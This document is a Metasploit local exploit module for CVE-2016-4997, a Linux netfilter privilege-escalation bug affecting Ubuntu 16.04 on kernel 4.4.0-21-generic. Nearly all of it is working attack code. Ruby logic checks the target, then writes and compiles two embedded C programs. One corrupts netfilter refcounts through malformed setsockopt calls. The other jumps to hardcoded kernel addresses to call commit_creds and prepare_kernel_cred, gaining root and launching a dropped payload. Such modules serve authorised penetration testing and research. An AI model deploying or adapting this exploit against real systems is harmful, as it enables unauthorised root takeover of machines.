This Metasploit module attempts to exploit a netfilter bug on Linux Kernels before 4.6.3, and currently only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-generic. Several conditions have to be met for successful exploitation.
bf300c0c899733b435995c0ef2a36f7a7f24b72ea483dc9898f85b794dba5bc8
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
'Description' => %q{
This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently
only works against Ubuntu 16.04 (not 16.04.1) with kernel
4.4.0-21-generic.
Several conditions have to be met for successful exploitation:
Ubuntu:
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
Kernel 4.4.0-31-generic and newer are not vulnerable.
We write the ascii files and compile on target instead of locally since metasm bombs for not
having cdefs.h (even if locally installed)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # Module
'vnik' # Discovery
],
'DisclosureDate' => 'Jun 03 2016',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Ubuntu', { } ]
#[ 'Fedora', { } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'EDB', '40049'],
[ 'CVE', '2016-4997'],
[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def iptables_loaded?()
# user@ubuntu:~$ grep ip_tables /proc/modules
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
vprint_status('Checking if ip_tables is loaded in kernel')
if target.name == "Ubuntu"
iptables = read_file('/proc/modules')
if iptables.include?('ip_tables')
vprint_good('ip_tables.ko is loaded')
else
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
end
return iptables.include?('ip_tables')
elsif target.name == "Fedora"
iptables = read_file('/proc/modules')
if iptables.include?('iptable_raw')
vprint_good('iptable_raw is loaded')
else
print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command')
end
return iptables.include?('iptable_raw')
else
return false
end
end
def shemsham_installed?()
# we want this to be false.
vprint_status('Checking if shem or sham are installed')
shemsham = read_file('/proc/cpuinfo')
if shemsham.include?('shem')
print_error('shem installed, system not vulnerable.')
elsif shemsham.include?('sham')
print_error('sham installed, system not vulnerable.')
else
vprint_good('shem and sham not present.')
end
return (shemsham.include?('shem') or shemsham.include?('sham'))
end
if iptables_loaded?() and not shemsham_installed?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
# first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
def has_prereqs?()
vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
if target.name == "Ubuntu"
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
if lib.include?('install')
vprint_good('libc6-dev-i386 is installed')
else
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
end
multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
if multilib.include?('install')
vprint_good('gcc-multilib is installed')
else
print_error('gcc-multilib is not installed. Compiling will fail.')
end
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
elsif target.name == "Fedora"
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
if lib.include?('glibc')
vprint_good('glibc-devel.i686 is installed')
else
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
end
if lib.include?('libgcc')
vprint_good('libgcc.i686 is installed')
else
print_error('libgcc.i686 is not installed. Compiling will fail.')
end
multilib = false #not implemented
gcc = false #not implemented
return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib
else
return false
end
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
payload_file = rand_text_alpha(8)
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
# direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
# removed #include <netinet/in.h> per busterb comment in PR 7326
decr = %q{
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <netinet/in.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MALLOC_SIZE 66*1024
int decr(void *p) {
int sock, optlen;
int ret;
void *data;
struct ipt_replace *repl;
struct ipt_entry *entry;
struct xt_entry_match *ematch;
struct xt_standard_target *target;
unsigned i;
sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == -1) {
perror("socket");
return -1;
}
data = malloc(MALLOC_SIZE);
if (data == NULL) {
perror("malloc");
return -1;
}
memset(data, 0, MALLOC_SIZE);
repl = (struct ipt_replace *) data;
repl->num_entries = 1;
repl->num_counters = 1;
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
repl->valid_hooks = 0;
entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
entry->target_offset = 74; // overwrite target_offset
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
strcpy(ematch->u.user.name, "icmp");
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
uint64_t *me = (uint64_t *)(kmatch + 0x58);
*me = 0xffffffff821de10d; // magic number!
uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
*match = (uint32_t)kmatch;
ematch->u.match_size = (short)0xffff;
target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
uint32_t *t = (uint32_t *)target;
*t = (uint32_t)kmatch;
printf("[!] Decrementing the refcount. This may take a while...\n");
printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
for (i = 0; i < 0xffffff/2+1; i++) {
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
}
close(sock);
free(data);
printf("[+] Done! Now run ./pwn\n");
return 0;
}
int main(void) {
void *stack;
int ret;
printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
ret = unshare(CLONE_NEWUSER);
if (ret == -1) {
perror("unshare");
return -1;
}
stack = (void *) malloc(65536);
if (stack == NULL) {
perror("malloc");
return -1;
}
clone(decr, stack + 65536, CLONE_NEWNET, NULL);
sleep(1);
return 0;
}
}
# direct copy of code from exploit-db
pwn = %q{
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>
#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
void __attribute__((regparm(3))) privesc() {
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
int main() {
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
assert(payload == (void *)MMAP_ADDR);
void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
memset(shellcode, 0, 0x300000);
void *ret = memcpy(shellcode, &privesc, 0x300);
assert(ret == shellcode);
printf("[+] Escalating privs...\n");
int fd = open("/dev/ptmx", O_RDWR);
close(fd);
assert(!getuid());
printf("[+] We've got root!");
return execl("/bin/bash", "-sh", NULL);
}
}
# the original code printed a line. However, this is hard to detect due to threading.
# so instead we can write a file in /tmp to catch.
decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/,
"int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" )
# patch in to run our payload
pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,
"execl(\"#{payload_path}\", NULL);")
def pwn(payload_path, pwn_file, pwn, compile)
# lets write our payload since everythings set for priv esc
vprint_status("Writing payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
cmd_exec("chmod 555 #{payload_path}")
register_file_for_cleanup(payload_path)
# now lets drop part 2, and finish up.
rm_f pwn_file
if compile
print_status "Writing pwn executable to #{pwn_file}.c"
rm_f "#{pwn_file}.c"
write_file("#{pwn_file}.c", pwn)
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
register_file_for_cleanup("#{pwn_file}.c")
else
print_status "Writing pwn executable to #{pwn_file}"
write_file(pwn_file, pwn)
end
register_file_for_cleanup(pwn_file)
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
end
if not compile # we need to override with our pre-created binary
# pwn file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out')
fd = ::File.open( path, "rb")
pwn = fd.read(fd.stat.size)
fd.close
# desc file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out')
fd = ::File.open( path, "rb")
decr = fd.read(fd.stat.size)
fd.close
# overwrite the hardcoded variable names in the compiled versions
env_ready_file = '/tmp/okDjTFSS'
payload_path = '/tmp/2016_4997_payload'
end
# check for shortcut
if datastore['REEXPLOIT']
pwn(payload_path, pwn_file, pwn, compile)
else
rm_f desc_file
if compile
print_status "Writing desc executable to #{desc_file}.c"
rm_f "#{desc_file}.c"
write_file("#{desc_file}.c", decr)
register_file_for_cleanup("#{desc_file}.c")
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
else
write_file(desc_file, decr)
end
rm_f env_ready_file
register_file_for_cleanup(env_ready_file)
#register_file_for_cleanup(desc_file)
if not file_exist?(desc_file)
vprint_error("gcc failure output: #{output}")
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
end
if target.name == "Ubuntu"
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
elsif target.name == "Fedora"
vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created."
end
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1)
if sec_waited % 10 == 0
vprint_status("Waited #{sec_waited}s so far")
end
if file_exist?(env_ready_file)
print_good("desc finished, env ready.")
pwn(payload_path, pwn_file, pwn, compile)
return
end
sec_waited +=1
end
end
end
end